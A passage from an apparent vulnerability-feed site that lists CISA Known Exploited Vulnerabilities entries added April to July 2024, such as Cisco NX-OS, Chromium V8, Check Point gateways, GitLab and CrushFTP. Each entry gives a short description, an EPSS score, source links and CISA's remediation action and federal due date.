CISA added this entry on 2024-07-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 9, 2024; federal due date Jul 30, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco NX-OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2024-20399
Cisco NX-OS Command Injection Vulnerability (Jul 2, 2024).
Cisco NX-OS contains a command injection vulnerability in the command line interface (CLI) that could allow an authenticated, local attacker to execute commands as root on the underlying operating system of an affected device.
EPSS 4.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-20399&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-20399: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-20399&date=2026-10-25
CISA added this entry on 2024-07-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jul 2, 2024; federal due date Jul 23, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Roundcube Webmail Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2020-13965
Roundcube Webmail Cross-Site Scripting (XSS) Vulnerability (Jun 26, 2024).
Roundcube Webmail contains a cross-site scripting (XSS) vulnerability that allows a remote attacker to manipulate data via a malicious XML attachment.
EPSS 76.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-13965&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-13965: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-13965&date=2026-10-25
CISA added this entry on 2024-06-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 26, 2024; federal due date Jul 17, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2022-2586
Linux Kernel Use-After-Free Vulnerability (Jun 26, 2024).
Linux Kernel contains a use-after-free vulnerability in the nft_object, allowing local attackers to escalate privileges.
EPSS 10.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-2586&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-2586: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-2586&date=2026-10-25
CISA added this entry on 2024-06-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 26, 2024; federal due date Jul 17, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### OSGeo GeoServer JAI-EXT Code Injection Vulnerability
https://kevwire.com/record/CVE-2022-24816
OSGeo GeoServer JAI-EXT Code Injection Vulnerability (Jun 26, 2024).
OSGeo GeoServer JAI-EXT contains a code injection vulnerability that, when programs use jt-jiffle and allow Jiffle script to be provided via network request, could allow remote code execution.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-24816&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-24816: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-24816&date=2026-10-25
CISA added this entry on 2024-06-26. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 26, 2024; federal due date Jul 17, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Progress Telerik Report Server Authentication Bypass by Spoofing Vulnerability
https://kevwire.com/record/CVE-2024-4358
Progress Telerik Report Server Authentication Bypass by Spoofing Vulnerability (Jun 13, 2024).
Progress Telerik Report Server contains an authorization bypass by spoofing vulnerability that allows an attacker to obtain unauthorized access.
EPSS 97.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4358&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-4358: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4358&date=2026-10-25
CISA added this entry on 2024-06-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 13, 2024; federal due date Jul 4, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Error Reporting Service Improper Privilege Management Vulnerability
https://kevwire.com/record/CVE-2024-26169
Microsoft Windows Error Reporting Service Improper Privilege Management Vulnerability (Jun 13, 2024).
Microsoft Windows Error Reporting Service contains an improper privilege management vulnerability that allows a local attacker with user permissions to gain SYSTEM privileges.
EPSS 4.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-26169&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-26169: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-26169&date=2026-10-25
CISA added this entry on 2024-06-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions or discontinue use of the product if updates are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 13, 2024; federal due date Jul 4, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Android Pixel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2024-32896
Android Pixel Privilege Escalation Vulnerability (Jun 13, 2024).
Android Pixel contains an unspecified vulnerability in the firmware that allows for privilege escalation.
EPSS 3.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-32896&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-32896: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-32896&date=2026-10-25
CISA added this entry on 2024-06-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 13, 2024; federal due date Jul 4, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Arm Mali GPU Kernel Driver Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2024-4610
Arm Mali GPU Kernel Driver Use-After-Free Vulnerability (Jun 12, 2024).
Arm Bifrost and Valhall GPU kernel drivers contain a use-after-free vulnerability that allows a local, non-privileged user to make improper GPU memory processing operations to gain access to already freed memory.
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4610&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-4610: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4610&date=2026-10-25
CISA added this entry on 2024-06-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 12, 2024; federal due date Jul 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Oracle WebLogic Server OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2017-3506
Oracle WebLogic Server OS Command Injection Vulnerability (Jun 3, 2024).
Oracle WebLogic Server, a product within the Fusion Middleware suite, contains an OS command injection vulnerability that allows an attacker to execute arbitrary code via a specially crafted HTTP request that includes a malicious XML document.
EPSS 96.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-3506&date=2026-10-25).
Sources:
CISA KEV entry CVE-2017-3506: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-3506&date=2026-10-25
CISA added this entry on 2024-06-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Jun 3, 2024; federal due date Jun 24, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2024-1086
Linux Kernel Use-After-Free Vulnerability (May 30, 2024).
Linux kernel contains a use-after-free vulnerability in the netfilter: nf_tables component that allows an attacker to achieve local privilege escalation.
EPSS 28.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-1086&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-1086: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-1086&date=2026-10-25
CISA added this entry on 2024-05-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 30, 2024; federal due date Jun 20, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Check Point Quantum Security Gateways Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2024-24919
Check Point Quantum Security Gateways Information Disclosure Vulnerability (May 30, 2024).
Check Point Quantum Security Gateways contain an unspecified information disclosure vulnerability. The vulnerability potentially allows an attacker to access information on Gateways connected to the internet, with IPSec VPN, Remote Access VPN or Mobile Access enabled. This issue affects several product lines from Check Point, including CloudGuard Network, Quantum Scalable Chassis, Quantum Security Gateways, and Quantum Spark Appliances.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-24919&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-24919: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-24919&date=2026-10-25
CISA added this entry on 2024-05-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 30, 2024; federal due date Jun 20, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Justice AV Solutions (JAVS) Viewer Installer Embedded Malicious Code Vulnerability
https://kevwire.com/record/CVE-2024-4978
Justice AV Solutions (JAVS) Viewer Installer Embedded Malicious Code Vulnerability (May 29, 2024).
Justice AV Solutions (JAVS) Viewer installer contains a malicious version of ffmpeg.exe, named fffmpeg.exe (SHA256: 421a4ad2615941b177b6ec4ab5e239c14e62af2ab07c6df1741e2a62223223c4). When run, this creates a backdoor connection to a malicious C2 server.
EPSS 26.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4978&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-4978: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4978&date=2026-10-25
CISA added this entry on 2024-05-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 29, 2024; federal due date Jun 19, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2024-5274
Google Chromium V8 Type Confusion Vulnerability (May 28, 2024).
Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to execute code via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 7.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-5274&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-5274: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-5274&date=2026-10-25
CISA added this entry on 2024-05-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 28, 2024; federal due date Jun 18, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apache Flink Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2020-17519
Apache Flink Improper Access Control Vulnerability (May 23, 2024).
Apache Flink contains an improper access control vulnerability that allows an attacker to read any file on the local filesystem of the JobManager through its REST interface.
EPSS 97.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-17519&date=2026-10-25).
Sources:
CISA KEV entry CVE-2020-17519: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-17519&date=2026-10-25
CISA added this entry on 2024-05-23. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 23, 2024; federal due date Jun 13, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2024-4947
Google Chromium V8 Type Confusion Vulnerability (May 20, 2024).
Google Chromium V8 contains a type confusion vulnerability that allows a remote attacker to execute code via a crafted HTML page.
EPSS 15.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4947&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-4947: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4947&date=2026-10-25
CISA added this entry on 2024-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 20, 2024; federal due date Jun 10, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### NextGen Healthcare Mirth Connect Deserialization of Untrusted Data Vulnerability
https://kevwire.com/record/CVE-2023-43208
NextGen Healthcare Mirth Connect Deserialization of Untrusted Data Vulnerability (May 20, 2024).
NextGen Healthcare Mirth Connect contains a deserialization of untrusted data vulnerability that allows for unauthenticated remote code execution via a specially crafted request.
EPSS 82.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-43208&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-43208: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-43208&date=2026-10-25
CISA added this entry on 2024-05-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 20, 2024; federal due date Jun 10, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Out-of-Bounds Memory Write Vulnerability
https://kevwire.com/record/CVE-2024-4761
Google Chromium V8 Out-of-Bounds Memory Write Vulnerability (May 16, 2024).
Google Chromium V8 Engine contains an unspecified out-of-bounds memory write vulnerability via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 11.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4761&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-4761: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4761&date=2026-10-25
CISA added this entry on 2024-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 16, 2024; federal due date Jun 6, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DIR-605 Router Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2021-40655
D-Link DIR-605 Router Information Disclosure Vulnerability (May 16, 2024).
D-Link DIR-605 routers contain an information disclosure vulnerability that allows attackers to obtain a username and password by forging a post request to the /getcfg.php page.
EPSS 86.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-40655&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-40655: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-40655&date=2026-10-25
CISA added this entry on 2024-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 16, 2024; federal due date Jun 6, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DIR-600 Router Cross-Site Request Forgery (CSRF) Vulnerability
https://kevwire.com/record/CVE-2014-100005
D-Link DIR-600 Router Cross-Site Request Forgery (CSRF) Vulnerability (May 16, 2024).
D-Link DIR-600 routers contain a cross-site request forgery (CSRF) vulnerability that allows an attacker to change router configurations by hijacking an existing administrator session.
EPSS 43.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-100005&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-100005: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-100005&date=2026-10-25
CISA added this entry on 2024-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: This vulnerability affects legacy D-Link products. All associated hardware revisions have reached their end-of-life (EOL) or end-of-service (EOS) life cycle and should be retired and replaced per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 16, 2024; federal due date Jun 6, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows MSHTML Platform Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2024-30040
Microsoft Windows MSHTML Platform Security Feature Bypass Vulnerability (May 14, 2024).
Microsoft Windows MSHTML Platform contains an unspecified vulnerability that allows for a security feature bypass.
EPSS 3.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-30040&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-30040: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-30040&date=2026-10-25
CISA added this entry on 2024-05-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 14, 2024; federal due date Jun 4, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft DWM Core Library Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2024-30051
Microsoft DWM Core Library Privilege Escalation Vulnerability (May 14, 2024).
Microsoft DWM Core Library contains a privilege escalation vulnerability that allows an attacker to gain SYSTEM privileges.
EPSS 5.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-30051&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-30051: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-30051&date=2026-10-25
CISA added this entry on 2024-05-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 14, 2024; federal due date Jun 4, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium Visuals Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2024-4671
Google Chromium Visuals Use-After-Free Vulnerability (May 13, 2024).
Google Chromium Visuals contains a use-after-free vulnerability that allows a remote attacker to exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 8.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4671&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-4671: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4671&date=2026-10-25
CISA added this entry on 2024-05-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 13, 2024; federal due date Jun 3, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### GitLab Community and Enterprise Editions Improper Access Control Vulnerability
https://kevwire.com/record/CVE-2023-7028
GitLab Community and Enterprise Editions Improper Access Control Vulnerability (May 1, 2024).
GitLab Community and Enterprise Editions contain an improper access control vulnerability. This allows an attacker to trigger password reset emails to be sent to an unverified email address to ultimately facilitate an account takeover.
EPSS 94.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-7028&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-7028: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-7028&date=2026-10-25
CISA added this entry on 2024-05-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 1, 2024; federal due date May 22, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft SmartScreen Prompt Security Feature Bypass Vulnerability
https://kevwire.com/record/CVE-2024-29988
Microsoft SmartScreen Prompt Security Feature Bypass Vulnerability (Apr 30, 2024).
Microsoft SmartScreen Prompt contains a security feature bypass vulnerability that allows an attacker to bypass the Mark of the Web (MotW) feature. This vulnerability can be chained with CVE-2023-38831 and CVE-2024-21412 to execute a malicious file.
EPSS 45.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-29988&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-29988: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-29988&date=2026-10-25
CISA added this entry on 2024-04-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 30, 2024; federal due date May 21, 2024. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### CrushFTP VFS Sandbox Escape Vulnerability
https://kevwire.com/record/CVE-2024-4040
CrushFTP VFS Sandbox Escape Vulnerability (Apr 24, 2024).
CrushFTP contains an unspecified sandbox escape vulnerability that allows a remote attacker to escape the CrushFTP virtual file system (VFS).
EPSS 99.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4040&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-4040: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4040&date=2026-10-25
CISA added this entry on 2024-04-24. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
